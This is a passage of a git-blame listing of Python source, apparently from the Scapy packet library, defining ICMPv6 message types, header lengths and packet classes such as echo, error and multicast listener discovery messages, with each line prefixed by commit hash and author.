1263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHICVStrLenField(StrLenField): 1265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# def i2len(self, pkt, x): 12660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrAH(_IPv6ExtHdr): 1270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# name = "IPv6 Extension Header - AH" 1271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 1272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# _AHFieldLenField("len", None, "icv"), 1273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# ShortField("res", 0), 1274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# IntField("spi", 0), 1275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# IntField("sn", 0), 1276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# _AHICVStrLenField("icv", None, "len", shift=2) ] 1277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# overload_fields = {IPv6: { "nh": 51 }} 1278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# def post_build(self, pkt, pay): 1280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# if self.len is None: 1281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:] 1282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# if self.segleft is None: 1283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:] 1284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# return _IPv6ExtHdr.post_build(self, pkt, pay) 1285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### ESP Header ################################## 1288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrESP(_IPv6extHdr): 1290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# name = "IPv6 Extension Header - ESP" 1291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# fields_desc = [ IntField("spi", 0), 1292c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# IntField("sn", 0), 12930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# # there is things to extract from IKE work 1294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# ] 1295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# overloads_fields = {IPv6: { "nh": 50 }} 1296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 12970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 1300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 1301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### ICMPv6* Classes ### 1302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 1303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 1304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6typescls = { 1: "ICMPv6DestUnreach", 1306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "ICMPv6PacketTooBig", 1307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "ICMPv6TimeExceeded", 1308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: "ICMPv6ParamProblem", 1309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 128: "ICMPv6EchoRequest", 1310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 129: "ICMPv6EchoReply", 13110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 130: "ICMPv6MLQuery", 1312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 131: "ICMPv6MLReport", 1313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 132: "ICMPv6MLDone", 1314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 133: "ICMPv6ND_RS", 1315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 134: "ICMPv6ND_RA", 1316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 135: "ICMPv6ND_NS", 1317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 136: "ICMPv6ND_NA", 1318c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 137: "ICMPv6ND_Redirect", 1319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #138: Do Me - RFC 2894 - Seems painful 1320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 139: "ICMPv6NIQuery", 1321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 140: "ICMPv6NIReply", 1322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 141: "ICMPv6ND_INDSol", 1323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 142: "ICMPv6ND_INDAdv", 1324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #143: Do Me - RFC 3810 13250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 144: "ICMPv6HAADRequest", 132677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 145: "ICMPv6HAADReply", 132777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 146: "ICMPv6MPSol", 132877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 147: "ICMPv6MPAdv", 1329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #148: Do Me - SEND related - RFC 3971 1330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #149: Do Me - SEND related - RFC 3971 1331c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 151: "ICMPv6MRD_Advertisement", 1332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 152: "ICMPv6MRD_Solicitation", 1333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 153: "ICMPv6MRD_Termination", 133477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil } 1335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1336b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadonicmp6typesminhdrlen = { 1: 8, 1337b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 2: 8, 1338b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 3: 8, 1339b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 4: 8, 1340b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 128: 8, 1341b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 129: 8, 1342b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 130: 24, 1343b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 131: 24, 1344b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 132: 24, 1345b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 133: 8, 1346b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 134: 16, 1347b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 135: 24, 1348b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 136: 24, 1349b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 137: 40, 1350b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon #139: 1351b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon #140 1352b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 141: 8, 1353b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 142: 8, 1354b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 144: 8, 1355b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 145: 8, 1356b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 146: 8, 1357b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 147: 8, 1358b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 151: 8, 1359b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 152: 4, 1360b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 153: 4 1361b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon } 1362b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon 13630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzicmp6types = { 1 : "Destination unreachable", 13640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2 : "Packet too big", 136577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 3 : "Time exceeded", 1366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4 : "Parameter problem", 1367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 100 : "Private Experimentation", 1368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 101 : "Private Experimentation", 1369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 128 : "Echo Request", 1370c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 129 : "Echo Reply", 1371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 130 : "MLD Query", 137277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 131 : "MLD Report", 137377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 132 : "MLD Done", 137477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 133 : "Router Solicitation", 137577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 134 : "Router Advertisement", 137677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 135 : "Neighbor Solicitation", 137777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 136 : "Neighbor Advertisement", 137877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 137 : "Redirect Message", 137977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 138 : "Router Renumbering", 13800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 139 : "ICMP Node Information Query", 13810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 140 : "ICMP Node Information Response", 138277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 141 : "Inverse Neighbor Discovery Solicitation Message", 138377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 142 : "Inverse Neighbor Discovery Advertisement Message", 138477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 143 : "Version 2 Multicast Listener Report", 138577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 144 : "Home Agent Address Discovery Request Message", 138677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 145 : "Home Agent Address Discovery Reply Message", 138777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 146 : "Mobile Prefix Solicitation", 138877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 147 : "Mobile Prefix Advertisement", 138977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 148 : "Certification Path Solicitation", 139077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 149 : "Certification Path Advertisement", 1391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 151 : "Multicast Router Advertisement", 1392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 152 : "Multicast Router Solicitation", 1393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 153 : "Multicast Router Termination", 1394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 200 : "Private Experimentation", 1395c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 201 : "Private Experimentation" } 1396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6(Packet): 1399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 dummy class" 1400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: {"nh": 58}} 1401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def post_build(self, p, pay): 140277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil p += pay 14030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if self.cksum == None: 140477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil chksum = in6_chksum(58, self.underlayer, p) 140577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil p = p[:2]+struct.pack("!H", chksum)+p[4:] 140677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return p 1407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 1409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.hashret() 1410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 1412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... 141377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil if (isinstance(self.underlayer, IPerror6) or 1414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil isinstance(self.underlayer, _IPv6ExtHdr) and 1415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil isinstance(other, _ICMPv6)): 141677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil if not ((self.type == other.type) and 141777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil (self.code == other.code)): 141877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return 0 141977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return 1 142077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return 0 1421c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1422c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6Error(_ICMPv6): 1424c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 errors dummy class" 1425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def guess_payload_class(self,p): 142677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return IPerror6 1427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6Unknown(_ICMPv6): 1429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "Scapy6 ICMPv6 fallback class" 1430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",1, icmp6types), 1431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code",0), 1432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 14330d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz StrField("msgbody", "")] 1434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################################## RFC 2460 ################################# 1437c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6DestUnreach(_ICMPv6Error): 1439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Destination Unreachable" 1440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",1, icmp6types), 1441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("code",0, { 0: "No route to destination", 1442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: "Communication with destination administratively prohibited", 1443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "Beyond scope of source address", 1444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "Address unreachable", 1445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: "Port unreachable" }), 1446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 14472a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon ByteField("length", 0), 14482a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon X3BytesField("unused",0)] 1449c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6PacketTooBig(_ICMPv6Error): 1451c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Packet Too Big" 1452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",2, icmp6types), 1453c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code",0), 1454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 1455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("mtu",1280)] 14560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6TimeExceeded(_ICMPv6Error): 1458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Time Exceeded" 1459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",3, icmp6types), 1460b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon ByteEnumField("code",0, { 0: "hop limit exceeded in transit", 14612a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon 1: "fragment reassembly time exceeded"}), 1462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 14632a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon ByteField("length", 0), 14642a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon X3BytesField("unused",0)] 1465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 14660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# The default pointer value is set to the next header field of 1467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the encapsulated IPv6 packet 14680d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6ParamProblem(_ICMPv6Error): 1469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Parameter Problem" 1470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",4, icmp6types), 1471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("code",0, {0: "erroneous header field encountered", 1472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: "unrecognized Next Header type encountered", 1473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "unrecognized IPv6 option encountered"}), 1474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 1475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("ptr",6)] 1476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoRequest(_ICMPv6): 1478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Echo Request" 1479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 128, icmp6types), 1480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code", 0), 1481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 1482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("id",0), 1483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("seq",0), 1484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrField("data", "")] 1485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def mysummary(self): 1486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.sprintf("%name% (id: %id% seq: %seq%)") 1487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 1488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return struct.pack("HH",self.id,self.seq)+self.payload.hashret() 1489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 14900d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoReply(ICMPv6EchoRequest): 1492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Echo Reply" 1493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil type = 129 1494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 14950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # We could match data content between request and reply. 1496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return (isinstance(other, ICMPv6EchoRequest) and 1497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.id == other.id and self.seq == other.seq and 1498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.data == other.data) 1499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############ ICMPv6 Multicast Listener Discovery (RFC3810) ################## 1502c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# tous les messages MLD sont emis avec une adresse source lien-locale 1504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# -> Y veiller dans le post_build si aucune n'est specifiee 1505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# La valeur de Hop-Limit doit etre de 1 1506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "and an IPv6 Router Alert option in a Hop-by-Hop Options 1507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# header. (The router alert option is necessary to cause routers to 1508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# examine MLD messages sent to multicast addresses in which the router 15090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# itself has no interest" 1510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6ML(_ICMPv6): 1511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 130, icmp6types), 1512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code", 0), 1513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 1514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("mrd", 0), 1515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("reserved", 0), 1516b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon IP6Field("mladdr","::")] 1517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# general queries are sent to the link-scope all-nodes multicast 1519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# address ff02::1, with a multicast address field of 0 and a MRD of 1520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [Query Response Interval] 1521c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Default value for mladdr is set to 0 for a General Query, and 1522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# overloaded by the user for a Multicast Address specific query 1523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert 1524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Option in a Destination Option Header. 1525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 1526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MLD - Multicast Listener Query" 1527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil type = 130 1528f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero mrd = 10000 # 10s for mrd 1529f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero mladdr = "::" 15300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }} 1531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 1532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.mladdr != "::": 1533a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET return ( 1534a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET inet_pton(socket.AF_INET6, self.mladdr) + self.payload.hashret() 1535a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET ) 1536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 1537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.hashret() 15380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 15390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert 1541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Option in a Destination Option Header. 1542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLReport(_ICMPv6ML): # RFC 2710 1543c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MLD - Multicast Listener Report" 1544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil type = 131 1545e1d0631a37e4326084e0fa2a9cb9f6466667d9e8Guillaume Valadon overload_fields = {IPv6: {"hlim": 1, "nh": 58}} 1546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # implementer le hashret et le answers 15470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# When a node ceases to listen to a multicast address on an interface, 1549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# it SHOULD send a single Done message to the link-scope all-routers 1550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# multicast address (FF02::2), carrying in its multicast address field 1551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the address to which it is ceasing to listen 1552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert 1553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Option in a Destination Option Header. 1554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLDone(_ICMPv6ML): # RFC 2710 1555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "MLD - Multicast Listener Done" 1556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil type = 132 1557f9727001edc936020f47735a7653bbe1d2533026Guillaume Valadon overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}} 1558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ############### 1561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 15620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# TODO: 1563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - 04/09/06 troglocan : find a way to automatically add a router alert 1564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# option for all MRD packets. This could be done in a specific 1565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# way when IPv6 is the under layer with some specific keyword 1566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# like 'exthdr'. This would allow to keep compatibility with 